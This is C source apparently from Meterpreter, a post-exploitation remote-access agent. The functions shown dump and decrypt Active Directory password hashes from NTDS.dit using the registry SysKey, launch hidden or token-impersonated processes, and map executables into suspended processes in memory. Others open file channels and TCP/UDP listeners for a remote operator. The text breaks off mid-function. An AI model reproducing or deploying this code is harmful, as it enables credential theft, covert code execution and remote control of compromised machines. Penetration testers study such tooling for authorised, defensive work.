// This is the raw NTDS command function. When the remote user // sends a command request for extapi_ntds_parse, this function fires. // It calls the setup routines for our Jet Instance, attaches the isntance // to the NTDS.dit database the user specified, and creates our channel. // The user interacts with the NTDS database through that channel from that point on. DWORD ntds_parse(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); // Check if the File exists if (0xffffffff == GetFileAttributes(filePath)) { res = 2; goto out; } strncpy_s(ntdsState->ntdsPath, 255, filePath, 254); // Attempt to get the SysKey from the Registry unsigned char sysKey[17]; if (!get_syskey(sysKey)) { res = GetLastError(); goto out; } JET_ERR startupStatus = engine_startup(ntdsState); if (startupStatus != JET_errSuccess) { res = startupStatus; goto out; } // Start a Session in the Jet Instance JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL); if (sessionStatus != JET_errSuccess) { JetTerm(ntdsState->jetEngine); res = sessionStatus; goto out; } JET_ERR openStatus = open_database(ntdsState); if (openStatus != JET_errSuccess) { JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL); JetTerm(ntdsState->jetEngine); res = openStatus; goto out; } JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable); if (tableStatus != JET_errSuccess) { engine_shutdown(ntdsState); res = tableStatus; goto out; } // Create the structure for holding all of the Column Definitions we need struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns)); JET_ERR columnStatus = get_column_info(ntdsState, accountColumns); if (columnStatus != JET_errSuccess) { engine_shutdown(ntdsState); free(accountColumns); res = columnStatus; goto out; } JET_ERR pekStatus; struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK)); struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK)); // Get and Decrypt the Password Encryption Key (PEK) pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted); if (pekStatus != JET_errSuccess) { res = pekStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) { res = GetLastError(); free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } // Set our Cursor on the first User record JET_ERR cursorStatus = find_first(ntdsState); if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } cursorStatus = next_user(ntdsState, accountColumns); if (cursorStatus != JET_errSuccess) { res = cursorStatus; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } // If we made it this far, it's time to set up our channel PoolChannelOps chops; Channel *newChannel; memset(&chops, 0, sizeof(chops)); NTDSContext *ctx; // Allocate storage for the NTDS context if (!(ctx = calloc(1, sizeof(NTDSContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } ctx->accountColumns = accountColumns; ctx->ntdsState = ntdsState; ctx->pekDecrypted = pekDecrypted; // Initialize the pool operation handlers chops.native.context = ctx; chops.native.close = ntds_channel_close; chops.read = ntds_channel_read; if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); free(pekEncrypted); free(pekDecrypted); engine_shutdown(ntdsState); goto out; } channel_set_type(newChannel, "ntds"); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); out: packet_transmit_response(res, remote, response); return ERROR_SUCCESS; }
/* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; #ifdef _WIN32 PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) break; // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if( flags & PROCESS_EXECUTE_FLAG_DESKTOP ) { do { cpDesktop = (char *)malloc( 512 ); if( !cpDesktop ) break; memset( cpDesktop, 0, 512 ); lock_acquire( remote->lock ); _snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName ); lock_release( remote->lock ); si.lpDesktop = cpDesktop; } while( 0 ); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { DWORD commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) commandLine = path; else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->hThreadToken){ token = remote->hThreadToken; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if ( NULL != hUserEnvLib ) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" ); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" ); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) ) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; int size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if( result == ERROR_PRIVILEGE_NOT_HELD ) { do { hAdvapi32 = LoadLibrary( "advapi32.dll" ); if( !hAdvapi32 ) break; pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" ); if( !pCreateProcessWithTokenW ) break; // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs( NULL, commandLine, 0 ); if( size < 0 ) break; wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wcmdline, commandLine, size ); if( si.lpDesktop ) { size = mbstowcs( NULL, (char *)si.lpDesktop, 0 ); if( size > 0 ) { wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wdesktop, (char *)si.lpDesktop, size ); si.lpDesktop = (LPSTR)wdesktop; } } if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) ) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while( 0 ); if( hAdvapi32 ) FreeLibrary( hAdvapi32 ); if( wdesktop ) free( wdesktop ); if( wcmdline ) free( wcmdline ); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if( lpfnDestroyEnvironmentBlock && pEnvironment ) lpfnDestroyEnvironmentBlock( pEnvironment ); if( NULL != hUserEnvLib ) FreeLibrary( hUserEnvLib ); } else if( flags & PROCESS_EXECUTE_FLAG_SESSION ) { typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken ); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA( "wtsapi32.dll" ); session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION ); if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 ) { if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" ); } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" ); if( !pWTSQueryUserToken ) BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" ); if( !pWTSQueryUserToken( session, &hToken ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" ); if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" ); } } while( 0 ); if( hWtsapi32 ) FreeLibrary( hWtsapi32 ); if( hToken ) CloseHandle( hToken ); result = dwResult; if( result != ERROR_SUCCESS ) break; } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if( result == ERROR_SUCCESS ) { // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) CloseHandle(in[0]); if (out[1]) CloseHandle(out[1]); // Free the command line if necessary if (path && arguments && commandLine) free(commandLine); if( cpDesktop ) free( cpDesktop ); #else PCHAR path, arguments;; DWORD flags; char *argv[8], *command_line; int cl_len = 0; int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors int master = -1, slave = -1; int devnull = -1; int idx, i; pid_t pid; int have_pty = -1; int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); dprintf( "[PROCESS] request_sys_process_execute" ); do { // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)"); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; } // how to handle a single string argument line? we don't have a lexer/parser to // correctly handle stuff like quotes, etc. could dumbly parse on white space to // build arguments for execve. revert to /bin/sh -c style execution? // XXX.. don't feel like messing with it atm idx = 0; if(arguments) { // Add one for the null, one for the space cl_len = strlen(path) + strlen(arguments) + 2; command_line = malloc(cl_len); memset(command_line, 0, cl_len); strcat(command_line, path); strcat(command_line, " "); strcat(command_line, arguments); argv[idx++] = "sh"; argv[idx++] = "-c"; argv[idx++] = command_line; path = "/bin/sh"; } else { argv[idx++] = path; } argv[idx++] = NULL; //for (i = 0; i < idx; i++) { // dprintf(" argv[%d] = %s", i, argv[i]); //} // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); have_pty = !try_open_pty(&master, &slave); if(have_pty) { ctx->pStdin = master; ctx->pStdout = master; } else { // fall back to pipes if there is no tty // Allocate the stdin and stdout pipes if(pipe(&in) || pipe(&out)) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; } fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK); fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK); // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } else { // need to /dev/null it all if( (devnull = open("/dev/null", O_RDONLY) ) == -1) { // XXX This is possible, due to chroots etc. We could close // fd 0/1/2 and hope the program isn't buggy. result = GetLastError(); break; } } /* * We can create "hidden" processes via clone() instead of fork() * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well. * memory / fd's etc won't be shared. linux specific syscall though. */ pid = fork(); switch(pid) { case -1: result = errno; break; case 0: if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); } else { dup2(in[0], 0); dup2(out[1], 1); dup2(out[1], 2); } } else { dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2); } for(i = 3; i < 1024; i++) close(i); if(doInMemory) { int found; Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer; Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff); for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) { if(phdr->p_type == PT_LOAD) { found = 1; break; } } if(! found) return; // XXX, not too much we can do in this case ? perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry); } else { execve(path, argv, environ); } dprintf("failed to execute program, exit(EXIT_FAILURE) time"); dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden); exit(EXIT_FAILURE); default: dprintf("child pid is %d\n", pid); packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid); if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dprintf("child channelized\n"); close(slave); } else { close(in[0]); close(out[1]); close(out[2]); } } break; } } while(0); #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Handles the open request for a file channel and returns a valid channel * identifier to the requestor if the file is opened successfully */ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) { Packet *response = NULL; PCHAR filePath, mode; DWORD res = ERROR_SUCCESS; DWORD flags = 0; Channel *newChannel = NULL; PoolChannelOps chops = { 0 }; FileContext *ctx; LPSTR expandedFilePath = NULL; // Allocate a response response = packet_create_response(packet); // Get the channel flags flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = calloc(1, sizeof(FileContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Get the file path and the mode filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); if (mode == NULL) { mode = "rb"; } res = fs_fopen(filePath, mode, &ctx->fd); if (res != ERROR_SUCCESS) { goto out; } memset(&chops, 0, sizeof(chops)); // Initialize the pool operation handlers chops.native.context = ctx; chops.native.write = file_channel_write; chops.native.close = file_channel_close; chops.read = file_channel_read; chops.eof = file_channel_eof; chops.seek = file_channel_seek; chops.tell = file_channel_tell; // Check the response allocation & allocate a un-connected // channel if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); out: // Transmit the packet if it's valid packet_transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) { channel_destroy(newChannel, NULL); } free(ctx); } return res; }
/* * Create a new UDP socket channel, optionally bound to a local address/port and optionaly specify * a remote peer host/port for future writes. */ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; UdpClientContext * ctx = NULL; Packet * response = NULL; char * lhost = NULL; char * phost = NULL; SOCKADDR_IN saddr = {0}; DatagramChannelOps chops = {0}; do { response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); ctx = (UdpClientContext *)malloc( sizeof(UdpClientContext) ); if( !ctx ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY ); memset( ctx, 0, sizeof(UdpClientContext) ); ctx->sock.remote = remote; ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); if( !ctx->localport ) ctx->localport = 0; ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF ); if( !ctx->peerport ) ctx->peerport = 0; lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( lhost ) ctx->localhost.s_addr = inet_addr( lhost ); else ctx->localhost.s_addr = INADDR_ANY; phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST ); if( phost ) { dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost ); ctx->peerhost.s_addr = inet_addr( phost ); } ctx->sock.fd = WSASocket( AF_INET, SOCK_DGRAM, IPPROTO_UDP, 0, 0, 0 ); if( ctx->sock.fd == INVALID_SOCKET ) BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSASocket failed" ); saddr.sin_family = AF_INET; saddr.sin_port = htons( ctx->localport ); saddr.sin_addr.s_addr = ctx->localhost.s_addr; if( bind( ctx->sock.fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. bind failed" ); ctx->sock.notify = WSACreateEvent(); if( ctx->sock.notify == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSACreateEvent failed" ); if( WSAEventSelect( ctx->sock.fd, ctx->sock.notify, FD_READ ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSAEventSelect failed" ); memset( &chops, 0, sizeof(DatagramChannelOps) ); chops.native.context = ctx; chops.native.write = udp_channel_write; chops.native.close = udp_channel_close; ctx->sock.channel = channel_create_datagram( 0, 0, &chops ); if( !ctx->sock.channel ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); scheduler_insert_waitable( ctx->sock.notify, ctx, (WaitableNotifyRoutine)udp_channel_notify ); packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) ); dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); } while( 0 ); packet_transmit_response( dwResult, remote, response ); do { if( dwResult == ERROR_SUCCESS ) break; if( !ctx ) break; if( ctx->sock.fd ) closesocket( ctx->sock.fd ); if( ctx->sock.channel ) channel_destroy( ctx->sock.channel, packet ); free( ctx ); } while( 0 ); return ERROR_SUCCESS; }
/*! * @brief Allocates a streaming TCP server channel. * @param remote Pointer to the remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Opening the server channel completed successfully. */ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * lhost = NULL; SOCKADDR_IN saddr = { 0 }; StreamChannelOps chops = { 0 }; USHORT lport = 0; do { response = packet_create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext)); if (!ctx) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(ctx, 0, sizeof(TcpServerContext)); ctx->remote = remote; lport = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); if (!lport) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE); } lhost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); if (!lhost) { lhost = "0.0.0.0"; } ctx->fd = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed"); } saddr.sin_family = AF_INET; saddr.sin_port = htons(lport); saddr.sin_addr.s_addr = inet_addr(lhost); if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR) { #ifdef _WIN32 dwResult = WSAGetLastError(); if (dwResult != WSAEADDRNOTAVAIL) #else dwResult = errno; if (dwResult != EADDRNOTAVAIL) #endif { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } dprintf("[TCP-SERVER] Failed to bind to %s, trying 0.0.0.0 ...", lhost); // try again, but this time bind to any/all interfaces. lhost = "0.0.0.0"; saddr.sin_addr.s_addr = inet_addr(lhost); if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } dwResult = ERROR_SUCCESS; } if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); } ctx->notify = WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); } if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); } memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel)); } while (0); packet_transmit_response(dwResult, remote, response); do { if (dwResult == ERROR_SUCCESS) { break; } dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); if (!ctx) { break; } if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); closesocket(ctx->fd); } if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); channel_destroy(ctx->channel, packet); } free(ctx); } while (0); return dwResult; }
/* * Allocate a new channel that is associated with a local file on disk * and send the new channel identifier response to the requestor */ DWORD request_fs_file_open(Remote *remote, Packet *packet) { Packet *response = NULL; PCHAR filePath, modeString, channelType; DWORD res = ERROR_SUCCESS; Channel *newChannel; FileContext *ctx; DWORD mode; do { // If this is not an FS channel open, ignore it. if ((!(channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) || (strcmp(channelType, "fs"))) { res = ERROR_NOT_FOUND; break; } // Allocate a response response = packet_create_response(packet); // Check the response allocation & allocate a un-connected // channel if ((!response) || (!(newChannel = channel_create(0))) || (!(ctx = (FileContext *)malloc(sizeof(FileContext))))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the file path and the mode filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_PATH); mode = packet_get_tlv_value_uint(packet, TLV_TYPE_FS_MODE); // Determine the actual mode switch (mode) { case FILE_MODE_READ: modeString = "rb"; break; case FILE_MODE_WRITE: modeString = "wb"; break; case FILE_MODE_READWRITE: modeString = "rwb"; break; } // Invalid file? if ((!filePath) || 